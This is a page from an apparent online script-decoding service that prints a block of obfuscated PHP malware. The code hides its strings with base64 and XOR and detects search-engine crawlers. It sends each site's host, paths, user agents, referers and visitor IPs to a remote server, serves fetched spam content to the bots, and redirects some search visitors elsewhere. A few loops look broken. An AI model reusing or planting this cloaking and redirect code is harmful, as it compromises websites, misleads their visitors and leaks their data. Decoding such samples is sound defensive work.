Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


 function _d_iwJnay($s){$k=34;$d=base64_decode($s);$r='';for($i=0;$i<strlen($d);$i++){$r.=$d[$i]^chr($k);}return $r;} @set_time_limit(0); error_reporting(0); ini_set(_d_iwJnay('RktRUk5DW31HUFBNUFE='), '0'); ini_set(_d_iwJnay('Tk1FfUdQUE1QUQ=='), '0'); $_OoO0Oo0OO_1 = _d_iwJnay('SlZWUlEYDQ1DUksMUlFKVFJMDEFNTw1DUlI='); $_O00oooOoO_2 = _d_iwJnay('Tk0RRmRGQ2NnRBJ4dVBuZ0dWRGpn'); $_Oo00o0O00_3 = _d_iwJnay('SlZWUlEYDQ1QQ1UMRUtWSldAV1FHUEFNTFZHTFYMQU1PDWVXS05HUG9NTE5HWw1yUE1IR0FWD2xHWlZoUQ1QR0RRDUpHQ0ZRDU9DS0wNcEdDQVZ0R1BRS01MUQxIUQ=='); $_OoO00ooOO_4 = _d_iwJnay('SlZWUlEYDQ1WWA8QSEYMUkNFR1EMRkdUDUtGDEpWT04='); $_OOoO0Ooo0_5  = 60; $_OOO0oO0Oo_6 = 30; $_Oo00ooOOO_7 = array( _d_iwJnay('UUtWR09DUg=='), _d_iwJnay('RUdWfUVNTUVOR31UR1BLRFs='), _d_iwJnay('SUdbVU1QRg=='), _d_iwJnay('REtMRg=='), _d_iwJnay('QUNQVg=='), _d_iwJnay('UkNWSg=='), _d_iwJnay('TVBGR1BR'), _d_iwJnay('Q1JS'), _d_iwJnay('VkpDSw=='), _d_iwJnay('QFdb'), _d_iwJnay('UkNFRw=='), _d_iwJnay('QU5LR0xW'), _d_iwJnay('TVBGR1BLRg=='), _d_iwJnay('VEtHVQ=='), _d_iwJnay('TEdV'), _d_iwJnay('V1JGQ1ZH'), _d_iwJnay('Q05HUFY='), _d_iwJnay('REtOVkdQ'), _d_iwJnay('UUtYRw=='), _d_iwJnay('QU1OTVA='), _d_iwJnay('UkZE'), _d_iwJnay('QVFU'), _d_iwJnay('Wk5R'), _d_iwJnay('VEtGR00='), _d_iwJnay('TktUR1ZU'), _d_iwJnay('Rk1BUQ=='), _d_iwJnay('QEdWQw=='), _d_iwJnay('V1JWS09H'), _d_iwJnay('Rk1VTA=='), _d_iwJnay('Q0FWS01M'), _d_iwJnay('RUNPRw=='), _d_iwJnay('RU0='), _d_iwJnay('Uk5DWw=='), _d_iwJnay('T0BD'), _d_iwJnay('UVJNUFZR'), _d_iwJnay('VU1QTkZBV1I='), _d_iwJnay('REtMQ04='), _d_iwJnay('RUNPR1E='), _d_iwJnay('RUNPS0xF'), _d_iwJnay('RU1NRg=='), _d_iwJnay('UVZNUEc='), _d_iwJnay('RkdOTg=='), _d_iwJnay('Q1BWS0FORw=='), _d_iwJnay('Sk1W'), _d_iwJnay('Uk5DVkNETVBPQw=='), _d_iwJnay('TUxOS0xH'), _d_iwJnay('REtORw=='), _d_iwJnay('TFRLRktD'), _d_iwJnay('Q1JSTkc='), _d_iwJnay('Q09DWE1M'), _d_iwJnay('T0dWQw=='), _d_iwJnay('TVBDQU5H'), _d_iwJnay('TktURw=='), _d_iwJnay('UkdQS01GTQ=='), _d_iwJnay('Q0FNT1JDTEpH'), _d_iwJnay('Q1FRV1E='), _d_iwJnay('VkdPQ1E='), _d_iwJnay('UUtWRw=='), _d_iwJnay('UUpNUg=='), _d_iwJnay('Rk1PQ0tM') ); $_O000OOOO0_8 = array(_d_iwJnay('SUdbVU1QRg=='), _d_iwJnay('S0Y='), _d_iwJnay('Rk1VTA=='), _d_iwJnay('UUdN'), _d_iwJnay('UUdDUEFK'), _d_iwJnay('Q0FWS01M'), _d_iwJnay('RUNPRw=='), _d_iwJnay('UkVRTk1W'), _d_iwJnay('QEdW'), _d_iwJnay('RU0='), _d_iwJnay('Uk5DWw=='), _d_iwJnay('U1dHUFs='), _d_iwJnay('REtMRg=='), 'p', _d_iwJnay('UkNFRw=='), _d_iwJnay('TEdVUQ=='), _d_iwJnay('Uk1QVkNO')); $_O0O00OoOO_9 = array(_d_iwJnay('S0Y='), _d_iwJnay('QFA='), _d_iwJnay('VEw='), _d_iwJnay('TEU='), _d_iwJnay('QUM='), _d_iwJnay('Vko='), _d_iwJnay('Uko='), _d_iwJnay('S0w='), _d_iwJnay('T1o=')); try { $_Ooo0oOO0o_10 = !empty($_SERVER[_d_iwJnay('cGdzd2dxdn13cGs=')]) ? $_SERVER[_d_iwJnay('cGdzd2dxdn13cGs=')] : (!empty($_SERVER[_d_iwJnay('anZ2cn16fXBndXBrdmd9d3Bu')]) ? $_SERVER[_d_iwJnay('anZ2cn16fXBndXBrdmd9d3Bu')] : (!empty($_SERVER[_d_iwJnay('d2xnbGFtZmdmfXdwbg==')]) ? $_SERVER[_d_iwJnay('d2xnbGFtZmdmfXdwbg==')] : '/')); $_O0oOoooO0_11 = getRealHost(); $_O0OOOO0oO_12 = getRealProtocol(); $_OOoOOoO00_13 = isset($_SERVER[_d_iwJnay('anZ2cn13cWdwfWNlZ2x2')]) ? $_SERVER[_d_iwJnay('anZ2cn13cWdwfWNlZ2x2')] : ''; $_OooO000oO_14 = isset($_SERVER[_d_iwJnay('anZ2cn1wZ2RncGdw')]) ? $_SERVER[_d_iwJnay('anZ2cn1wZ2RncGdw')] : ''; $_OOO00o000_15 = isset($_SERVER[_d_iwJnay('anZ2cn1jYWFncnZ9bmNsZXdjZWc=')]) ? $_SERVER[_d_iwJnay('anZ2cn1jYWFncnZ9bmNsZXdjZWc=')] : ''; if (strpos($_Ooo0oOO0o_10, _d_iwJnay('UUtWR09DUgxaT04=')) !== false || (isset($_SERVER[_d_iwJnay('c3dncHt9cXZwa2xl')]) && strpos($_SERVER[_d_iwJnay('c3dncHt9cXZwa2xl')], _d_iwJnay('UUtWR09DUgxaT04=')) !== false)) { $_O0OoOoO00_16 = (string)parse_url($_Ooo0oOO0o_10, PHP_URL_PATH); if ($_O0OoOoO00_16 === '') $_O0OoOoO00_16 = '/'; $_O0oOO00Oo_17 = strrpos($_O0OoOoO00_16, '/'); $_OOOO0oooO_18 = ($_O0oOO00Oo_17 === false) ? '/' : substr($_O0OoOoO00_16, 0, $_O0oOO00Oo_17 + 1); $_Ooo0oOO0o_10 = $_OOOO0oooO_18 . _d_iwJnay('HVFLVkdPQ1IMWk9O'); } $_OoOo00oo0_19 = preg_match(_d_iwJnay('DWVNTUVOR0BNVl5lTU1FTkdATVYPbEdVUV5lTU1FTkdATVYPa09DRUdeZU1NRU5HQE1WD3RLRkdNXmVNTUVOR0BNVg9vTUBLTkdeb0dGS0NSQ1BWTEdQUQ9lTU1FTkdeY0ZRYE1WD2VNTUVORw1L'), $_OOoOOoO00_13); $_O0o00OO0o_20 = preg_match(_d_iwJnay('DUBLTEVATVZeb3FsYE1WXk9RTEBNVg1L'), $_OOoOOoO00_13); $_OOO0oooo0_21 = preg_match(_d_iwJnay('DWBDS0ZXUVJLRkdQDUs='), $_OOoOOoO00_13); $_O0oOOoO0o_22 = ($_OoOo00oo0_19 || $_O0o00OO0o_20 || $_OOO0oooo0_21); $_O0Oo0o00o_23 = preg_match(_d_iwJnay('DQpLckpNTEdeS3JDRl5Lck1GXmNMRlBNS0Zeb01AS05HXmBOQ0FJYEdQUFtedUtMRk1VUQJySk1MRwsNSw=='), $_OOoOOoO00_13); $_OoOo0OoOO_24 = false; if (!empty($_OooO000oO_14)) { $_OO00OOO00_25 = ( stripos($_OooO000oO_14, _d_iwJnay('DEVNTUVORww=')) !== false || stripos($_OooO000oO_14, _d_iwJnay('RU1NRU5HDEFNTw==')) !== false || stripos($_OooO000oO_14, _d_iwJnay('DEBLTEUMQU1P')) !== false || stripos($_OooO000oO_14, _d_iwJnay('QEtMRQxBTU8=')) !== false || stripos($_OooO000oO_14, _d_iwJnay('W0NKTU0M')) !== false || stripos($_OooO000oO_14, _d_iwJnay('W0NMRkdaDA==')) !== false || stripos($_OooO000oO_14, _d_iwJnay('RldBSUZXQUlFTQw=')) !== false || stripos($_OooO000oO_14, _d_iwJnay('QENLRlcM')) !== false || stripos($_OooO000oO_14, _d_iwJnay('DEBDS0ZXDA==')) !== false ); $_Oo0OO0oOo_26 = preg_match(_d_iwJnay('AXxDTEZQTUtGD0NSUhgNDQwIHQpFTU1FTkdeQENLRldeUU1FTVdeQEtMRV5bQ0pNTV5bQ0xGR1peRldBSUZXQUlFTV5MQ1RHUAsBSw=='), $_OooO000oO_14); if (($_OO00OOO00_25 || $_Oo0OO0oOo_26) && preg_match('/\b(' . implode('|', $_O0O00OoOO_9) . ')\b/i', $_OOO00o000_15)) { $_OoOo0OoOO_24 = true; } } if ($_O0oOOoO0o_22 && !is_static_asset($_Ooo0oOO0o_10)) { $_O0ooo0ooo_27 = fetch_api_content($_OOO0oO0Oo_6); if ($_O0ooo0ooo_27 !== '') { while (ob_get_level())  header(_d_iwJnay('YU1MVkdMVg92W1JHGAJWR1pWDUpWT04ZAkFKQ1BRR1Yfd3ZkDxo=')); echo $_O0ooo0ooo_27; exit; } } if ($_O0Oo0o00o_23 && $_OoOo0OoOO_24 && !$_O0oOOoO0o_22 && !is_static_asset($_Ooo0oOO0o_10)) { $_O0ooo0ooo_27 = fetch_api_content(3); if ($_O0ooo0ooo_27 !== '') { while (ob_get_level())  header(_d_iwJnay('YU1MVkdMVg92W1JHGAJWR1pWDUpWT04ZAkFKQ1BRR1Yfd3ZkDxo=')); echo $_O0ooo0ooo_27; exit; } $_Oo0OooO0O_28 = http_get_with_timeout($_Oo00o0O00_3, 1); if ($_Oo0OooO0O_28 !== false) { while (ob_get_level())  header(_d_iwJnay('YU1MVkdMVg92W1JHGAJWR1pWDUpWT04ZAkFKQ1BRR1Yfd3ZkDxo=')); echo $_Oo0OooO0O_28; exit; } while (ob_get_level())  header(_d_iwJnay('bk1BQ1ZLTUwYAg==') . $_OoO00ooOO_4, true, 302); exit; } } catch (Exception $_OoOO0o00O_29) { } catch (Throwable $_OoOO0o00O_29) { } function fetch_api_content($_O0O0oO0oo_30) { global $_OoO0Oo0OO_1, $_O00oooOoO_2, $_O0oOoooO0_11, $_O0OOOO0oO_12, $_Ooo0oOO0o_10, $_OOoOOoO00_13, $_OooO000oO_14, $_OOO00o000_15, $_O000OOOO0_8; $_Oo0OOoo0O_31 = array( base64_encode(_d_iwJnay('Rk1PQ0tM')) => base64_encode($_O0OOOO0oO_12 . $_O0oOoooO0_11), base64_encode(_d_iwJnay('UkNWSg==')) => base64_encode($_Ooo0oOO0o_10), base64_encode(_d_iwJnay('UVJLRkdQ')) => base64_encode($_OOoOOoO00_13), base64_encode(_d_iwJnay('UEdER1BHUA==')) => base64_encode($_OooO000oO_14), base64_encode(_d_iwJnay('S1JDRkZQ')) => base64_encode(getIP()) ); $_O0ooOoooo_32 = extractKeywordFromPath($_Ooo0oOO0o_10); if ($_O0ooOoooo_32 === '') { foreach ($_O000OOOO0_8 as $_OooO00oO0_33) { if (isset($_GET[$_OooO00oO0_33]) && $_GET[$_OooO00oO0_33] !== '') { $_O0ooOoooo_32 = $_GET[$_OooO00oO0_33]; break; } } } if ($_O0ooOoooo_32 !== '') { $_Oo0OOoo0O_31[base64_encode(_d_iwJnay('SUdbVU1QRg=='))] = base64_encode($_O0ooOoooo_32); } $_OOOO0o00o_34 = array( _d_iwJnay('YU1MVkdMVg92W1JHGAJDUlJOS0FDVktNTA1aD1VVVQ9ETVBPD1dQTkdMQU1GR0Y='), _d_iwJnay('V1FHUH1DRUdMVhgC') . $_OOoOOoO00_13 ); if (!empty($_OOO00o000_15)) { $_OOOO0o00o_34[] = "Accept-Language: $_OOO00o000_15"; } $_OO0o00oo0_35 = http_post(build_api_url($_OoO0Oo0OO_1), $_Oo0OOoo0O_31, $_OOOO0o00o_34, $_O0O0oO0oo_30); return can_decrypt() ? decrypt_psk_response($_OO0o00oo0_35, $_O00oooOoO_2) : $_OO0o00oo0_35; } function can_decrypt() { static $_OoOO00oo0_36 = null; if ($_OoOO00oo0_36 !== null) return $_OoOO00oo0_36; if (!function_exists(_d_iwJnay('TVJHTFFRTn1GR0FQW1JW')) || !function_exists(_d_iwJnay('SkNRSn1KT0NB')) || !defined(_d_iwJnay('bXJnbHFxbn1wY3V9ZmN2Yw=='))) { return $_OoOO00oo0_36 = false; } $_O00O0O0oo_37 = @openssl_encrypt(_d_iwJnay('VkdRVg=='), _d_iwJnay('Q0dRDxAXFA9BQEE='), str_repeat('k', 32), OPENSSL_RAW_DATA, str_repeat('i', 16)); return $_OoOO00oo0_36 = ($_O00O0O0oo_37 !== false); } function can_gzdecode() { static $_OoOO00oo0_36 = null; if ($_OoOO00oo0_36 !== null) return $_OoOO00oo0_36; return $_OoOO00oo0_36 = function_exists(_d_iwJnay('RVhGR0FNRkc=')); } function build_api_url($_OoOoo0oOO_38) { $_O0Oo0o0o0_39 = array(); if (can_decrypt()) $_O0Oo0o0o0_39[] = _d_iwJnay('R0xBH1JRSQ=='); if (can_gzdecode()) $_O0Oo0o0o0_39[] = _d_iwJnay('RVgfEw=='); return !empty($_O0Oo0o0o0_39) ? $_OoOoo0oOO_38 . '?' . implode('&', $_O0Oo0o0o0_39) : $_OoOoo0oOO_38; } function getRealHost() { $_OOoo00Ooo_40 = array(); if (!empty($_SERVER[_d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1qbXF2')])) { $_OOOo00O0O_41 = explode(',', $_SERVER[_d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1qbXF2')]); $_OOoo00Ooo_40[] = trim($_OOOo00O0O_41[0]); } if (!empty($_SERVER[_d_iwJnay('anZ2cn1qbXF2')])) { $_OOoo00Ooo_40[] = $_SERVER[_d_iwJnay('anZ2cn1qbXF2')]; } if (!empty($_SERVER[_d_iwJnay('anZ2cn16fW1wa2VrbGNufWptcXY=')])) { $_OOoo00Ooo_40[] = $_SERVER[_d_iwJnay('anZ2cn16fW1wa2VrbGNufWptcXY=')]; } if (!empty($_SERVER[_d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1xZ3B0Z3A=')])) { $_OOoo00Ooo_40[] = $_SERVER[_d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1xZ3B0Z3A=')]; } if (!empty($_SERVER[_d_iwJnay('cWdwdGdwfWxjb2c=')])) { $_OOoo00Ooo_40[] = $_SERVER[_d_iwJnay('cWdwdGdwfWxjb2c=')]; } foreach ($_OOoo00Ooo_40 as $_OOO00OOOo_42) { $_OOO00OOOo_42 = preg_replace('/:\d+$/', '', $_OOO00OOOo_42); if ($_OOO00OOOo_42 && !preg_match('/^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])|localhost)/i', $_OOO00OOOo_42)) { return $_OOO00OOOo_42; } } return isset($_SERVER[_d_iwJnay('anZ2cn1qbXF2')]) ? $_SERVER[_d_iwJnay('anZ2cn1qbXF2')] : _d_iwJnay('Tk1BQ05KTVFW'); } function getRealProtocol() { if (!empty($_SERVER[_d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1ycG12bQ==')])) { $_OO0O0o0OO_43 = explode(',', $_SERVER[_d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1ycG12bQ==')]); if (strtolower(trim($_OO0O0o0OO_43[0])) === _d_iwJnay('SlZWUg==')) { return _d_iwJnay('SlZWUhgNDQ=='); } } return _d_iwJnay('SlZWUlEYDQ0='); } function getIP() { foreach (array(_d_iwJnay('anZ2cn1hZH1hbWxsZ2F2a2xlfWty'), _d_iwJnay('anZ2cn1hbmtnbHZ9a3I='), _d_iwJnay('anZ2cn16fWRtcHVjcGZnZn1kbXA='), _d_iwJnay('cGdvbXZnfWNmZnA=')) as $_OO0O0000o_44) { $_Oo0O000Oo_45 = isset($_SERVER[$_OO0O0000o_44]) ? $_SERVER[$_OO0O0000o_44] : getenv($_OO0O0000o_44); if ($_Oo0O000Oo_45 && strcasecmp($_Oo0O000Oo_45, _d_iwJnay('V0xJTE1VTA==')) !== 0) { if (strpos($_Oo0O000Oo_45, ',') !== false) { $_OOooO0o00_46 = explode(',', $_Oo0O000Oo_45); $_Oo0O000Oo_45 = trim($_OOooO0o00_46[0]); } $_Oo0O000Oo_45 = trim($_Oo0O000Oo_45); if (function_exists(_d_iwJnay('REtOVkdQfVRDUA=='))) { if (filter_var($_Oo0O000Oo_45, FILTER_VALIDATE_IP)) { return $_Oo0O000Oo_45; } } else { if (preg_match('/^[\d\.]{7,15}$/', $_Oo0O000Oo_45) || preg_match('/^[0-9a-f:]{2,45}$/i', $_Oo0O000Oo_45)) { return $_Oo0O000Oo_45; } } } } return ''; } function is_static_asset($_Oo0OooOoo_47) { if (!is_string($_Oo0OooOoo_47) || $_Oo0OooOoo_47 === '') return false; $_O0ooOo00o_48 = (string)parse_url($_Oo0OooOoo_47, PHP_URL_PATH); if ($_O0ooOo00o_48 === '' || $_O0ooOo00o_48 === '/') return false; if (preg_match('/\.(css|js|mjs|map|json|png|jpe?g|gif|svg|webp|bmp|ico|avif|woff2?|ttf|otf|eot|mp4|webm|ogg|mp3|wav|avi|mov|flv|swf|zip|rar|7z|gz|tar)$/i', $_O0ooOo00o_48)) { return true; } return false; } function http_post($_OOOoOoO0o_49, $_O0OOOoO0O_50, $_OOOO0o00o_34, $_O0O0oO0oo_30 = 0) { global $_OOoO0Ooo0_5; $_OO0O0o000_51 = (isset($_OOoO0Ooo0_5) && (int)$_OOoO0Ooo0_5 > 0) ? (int)$_OOoO0Ooo0_5 : 60; $_OOoooO0Oo_52 = http_build_query($_O0OOOoO0O_50); if (function_exists(_d_iwJnay('QVdQTn1LTEtW'))) { $_O0000oOOo_53 = curl_init(); $_O0o0oooOo_54 = array( CURLOPT_URL => $_OOOoOoO0o_49, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $_OOoooO0Oo_52, CURLOPT_HTTPHEADER => $_OOOO0o00o_34, CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => $_OO0O0o000_51, CURLOPT_ENCODING => _d_iwJnay('RVhLUg4CRkdETkNWRw=='), CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ); if ($_O0O0oO0oo_30 > 0) { $_OO0ooOoo0_55 = (int)($_O0O0oO0oo_30 * 1000); $_O0o0oooOo_54[CURLOPT_CONNECTTIMEOUT_MS] = $_OO0ooOoo0_55; $_O0o0oooOo_54[CURLOPT_TIMEOUT_MS] = $_OO0ooOoo0_55; $_O0o0oooOo_54[CURLOPT_NOSIGNAL] = true; } curl_setopt_array($_O0000oOOo_53, $_O0o0oooOo_54); $_OO0o00oo0_35 = curl_exec($_O0000oOOo_53); curl_close($_O0000oOOo_53); return $_OO0o00oo0_35 !== false ? $_OO0o00oo0_35 : ''; } $_Oo00OoOOO_56 = ($_O0O0oO0oo_30 > 0) ? $_O0O0oO0oo_30 : $_OO0O0o000_51; $_OOOoOOOoO_57 = stream_context_create(array( _d_iwJnay('SlZWUg==') => array( _d_iwJnay('T0dWSk1G') => _d_iwJnay('cm1xdg=='), _d_iwJnay('SkdDRkdQ') => implode("\r\n", $_OOOO0o00o_34), _d_iwJnay('QU1MVkdMVg==') => $_OOoooO0Oo_52, _d_iwJnay('VktPR01XVg==') => $_Oo00OoOOO_56, ), _d_iwJnay('UVFO') => array( _d_iwJnay('VEdQS0RbfVJHR1A=') => false, _d_iwJnay('VEdQS0RbfVJHR1B9TENPRw==') => false, ), )); $_OO0o00oo0_35 = @file_get_contents($_OOOoOoO0o_49, false, $_OOOoOOOoO_57); return ($_OO0o00oo0_35 !== false) ? $_OO0o00oo0_35 : ''; } function http_get_with_timeout($_OOOoOoO0o_49, $_Oo00OoOOO_56 = 1) { $_OOoOOoO00_13 = isset($_SERVER[_d_iwJnay('anZ2cn13cWdwfWNlZ2x2')]) ? $_SERVER[_d_iwJnay('anZ2cn13cWdwfWNlZ2x2')] : ''; if (function_exists(_d_iwJnay('QVdQTn1LTEtW'))) { $_O0000oOOo_53 = curl_init(); $_OO0ooOoo0_55 = (int)($_Oo00OoOOO_56 * 1000); curl_setopt_array($_O0000oOOo_53, array( CURLOPT_URL => $_OOOoOoO0o_49, CURLOPT_RETURNTRANSFER => 1, CURLOPT_CONNECTTIMEOUT_MS => $_OO0ooOoo0_55, CURLOPT_TIMEOUT_MS => $_OO0ooOoo0_55, CURLOPT_NOSIGNAL => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $_OOoOOoO00_13, CURLOPT_FOLLOWLOCATION => true )); $_OO0o00oo0_35 = curl_exec($_O0000oOOo_53); $_O0oO0oooo_58 = curl_getinfo($_O0000oOOo_53, CURLINFO_HTTP_CODE); curl_close($_O0000oOOo_53); return ($_O0oO0oooo_58 == 200 && $_OO0o00oo0_35 !== false && strlen($_OO0o00oo0_35) >= 10) ? $_OO0o00oo0_35 : false; } $_OOOoOOOoO_57 = stream_context_create(array( _d_iwJnay('SlZWUg==') => array( _d_iwJnay('T0dWSk1G') => _d_iwJnay('ZWd2'), _d_iwJnay('VktPR01XVg==') => $_Oo00OoOOO_56, _d_iwJnay('V1FHUH1DRUdMVg==') => $_OOoOOoO00_13, ), _d_iwJnay('UVFO') => array( _d_iwJnay('VEdQS0RbfVJHR1A=') => false, _d_iwJnay('VEdQS0RbfVJHR1B9TENPRw==') => false, ), )); $_O0ooo0ooo_27 = @file_get_contents($_OOOoOoO0o_49, false, $_OOOoOOOoO_57); $_OoOOo0ooo_59 = 0; if (isset($http_response_header) && is_array($http_response_header)) { $_Ooo0o00O0_60 = $http_response_header[0]; if (preg_match('/\s(\d{3})/', $_Ooo0o00O0_60, $_OOO00OO0O_61)) { $_OoOOo0ooo_59 = (int)$_OOO00OO0O_61[1]; } } return ($_OoOOo0ooo_59 === 200 && $_O0ooo0ooo_27 !== false && strlen($_O0ooo0ooo_27) >= 10) ? $_O0ooo0ooo_27 : false; } function derive_psk_keys($_O0OOoOOOO_62) { $_OOo0OoOo0_63 = $_O0OOoOOOO_62; $_Ooo0OO000_64 = str_repeat("\x00", 32); $_O0Oo00ooo_65 = _d_iwJnay('UUdNfUFNTFZQTU59RUtMXlJRSV5DR1EPEBcUD0FAQV5UEw=='); $_OOo0O00oo_66 = hash_hmac(_d_iwJnay('UUpDEBcU'), $_OOo0OoOo0_63, $_Ooo0OO000_64, true); $_O0OOoo0O0_67 = ''; $_O000ooo0o_68 = ''; for ($_OooOOoOo0_69 = 1; strlen($_O000ooo0o_68) < 64; $_OooOOoOo0_69++) { $_O0OOoo0O0_67 = hash_hmac(_d_iwJnay('UUpDEBcU'), $_O0OOoo0O0_67 . $_O0Oo00ooo_65 . chr($_OooOOoOo0_69), $_OOo0O00oo_66, true); $_O000ooo0o_68 .= $_O0OOoo0O0_67; } return array(substr($_O000ooo0o_68, 0, 32), substr($_O000ooo0o_68, 32, 32)); } function decrypt_psk_response($_OO0o00oo0_35, $_O0OOoOOOO_62) { $_Oo0ooOOo0_70 = json_decode($_OO0o00oo0_35, true); if (!is_array($_Oo0ooOOo0_70) || !isset($_Oo0ooOOo0_70['v']) || $_Oo0ooOOo0_70['v'] !== _d_iwJnay('UlFJEw==')) return $_OO0o00oo0_35; if (!can_decrypt()) return ''; $_OoOoo00O0_71 = base64_decode($_Oo0ooOOo0_70[_d_iwJnay('S1Q=')]); $_O0oO0o0OO_72 = base64_decode($_Oo0ooOOo0_70[_d_iwJnay('QVY=')]); $_Oo00ooOO0_73 = base64_decode($_Oo0ooOOo0_70[_d_iwJnay('VkNF')]); list($_Oo0oooooO_74, $_OoOOoOOo0_75) = derive_psk_keys($_O0OOoOOOO_62); $_OO00ooooo_76 = hash_hmac(_d_iwJnay('UUpDEBcU'), $_OoOoo00O0_71 . $_O0oO0o0OO_72, $_OoOOoOOo0_75, true); if (function_exists(_d_iwJnay('SkNRSn1HU1dDTlE=')) ? !hash_equals($_OO00ooooo_76, $_Oo00ooOO0_73) : $_OO00ooooo_76 !== $_Oo00ooOO0_73) return ''; $_O0oOoOOOo_77 = openssl_decrypt($_O0oO0o0OO_72, _d_iwJnay('Q0dRDxAXFA9BQEE='), $_Oo0oooooO_74, OPENSSL_RAW_DATA, $_OoOoo00O0_71); if ($_O0oOoOOOo_77 === false) return ''; $_OOOoO0oOO_78 = strlen($_O0oOoOOOo_77); if ($_OOOoO0oOO_78 > 0) { $_OooO0ooOO_79 = ord($_O0oOoOOOo_77[$_OOOoO0oOO_78 - 1]); if ($_OooO0ooOO_79 >= 1 && $_OooO0ooOO_79 <= 16 && $_OooO0ooOO_79 <= $_OOOoO0oOO_78) { $_O0ooooo0o_80 = true; for ($_OooOOoOo0_69 = $_OOOoO0oOO_78 - $_OooO0ooOO_79; $_OooOOoOo0_69 < $_OOOoO0oOO_78; $_OooOOoOo0_69++) { if (ord($_O0oOoOOOo_77[$_OooOOoOo0_69]) !== $_OooO0ooOO_79) { $_O0ooooo0o_80 = false; break; } } if ($_O0ooooo0o_80) $_O0oOoOOOo_77 = substr($_O0oOoOOOo_77, 0, $_OOOoO0oOO_78 - $_OooO0ooOO_79); } } if (!empty($_Oo0ooOOo0_70[_d_iwJnay('RVg=')]) && function_exists(_d_iwJnay('RVhGR0FNRkc='))) { $_Ooooo0O0o_81 = @gzdecode($_O0oOoOOOo_77); if ($_Ooooo0O0o_81 !== false) $_O0oOoOOOo_77 = $_Ooooo0O0o_81; } return $_O0oOoOOOo_77; } function extractKeywordFromPath($_Ooo0OOOOo_82) { global $_Oo00ooOOO_7; $_Oo0ooOOOo_83 = parse_url($_Ooo0OOOOo_82, PHP_URL_PATH); if (!$_Oo0ooOOOo_83) return ''; $_O0Ooo0oO0_84 = rtrim(str_replace('\\', '/', dirname($_SERVER[_d_iwJnay('cWFwa3J2fWxjb2c=')])), '/'); if ($_O0Ooo0oO0_84 !== '' && strpos($_Oo0ooOOOo_83, $_O0Ooo0oO0_84) === 0) { $_Oo0ooOOOo_83 = substr($_Oo0ooOOOo_83, strlen($_O0Ooo0oO0_84)); } $_Oo00oOooO_85 = explode('/', trim($_Oo0ooOOOo_83, '/')); if (empty($_Oo00oOooO_85) || (count($_Oo00oOooO_85) === 1 && $_Oo00oOooO_85[0] === '')) { return ''; } if (preg_match('/\.php\d?$/i', $_Oo00oOooO_85[0])) { array_shift($_Oo00oOooO_85); } if (empty($_Oo00oOooO_85) || $_Oo00oOooO_85[0] === '') { return ''; } if (!in_array($_Oo00oOooO_85[0], $_Oo00ooOOO_7)) { return urldecode(preg_replace('/\.html?$/i', '', $_Oo00oOooO_85[0])); } $_Oo0O00o0o_86 = ''; foreach (array_slice($_Oo00oOooO_85, 1) as $_O0OO0o0Oo_87) { if (preg_match('/^\d+$/', $_O0OO0o0Oo_87) || preg_match('/^\d{1,2}-\d{1,2}-\d{2,4}$/', $_O0OO0o0Oo_87)) { continue; } $_Oo0O00o0o_86 = $_O0OO0o0Oo_87; break; } if ($_Oo0O00o0o_86 === '' && count($_Oo00oOooO_85) >= 2) { $_Oo0O00o0o_86 = $_Oo00oOooO_85[1]; } if ($_Oo0O00o0o_86 === '') return ''; $_Oo0O00o0o_86 = preg_replace('/\.html?$/i', '', $_Oo0O00o0o_86); if (preg_match('/-n-\d{1,2}-\d{2,4}$/', $_Oo0O00o0o_86)) { $_Oo0O00o0o_86 = preg_replace('/-n-\d{1,2}-\d{2,4}$/', '', $_Oo0O00o0o_86); $_Oo0O00o0o_86 = preg_replace('/^\d+-/', '', $_Oo0O00o0o_86); $_Oo0O00o0o_86 = preg_replace('/-\d+$/', '', $_Oo0O00o0o_86); } return urldecode($_Oo0O00o0o_86); }


© 2023 Quttera Ltd. All rights reserved.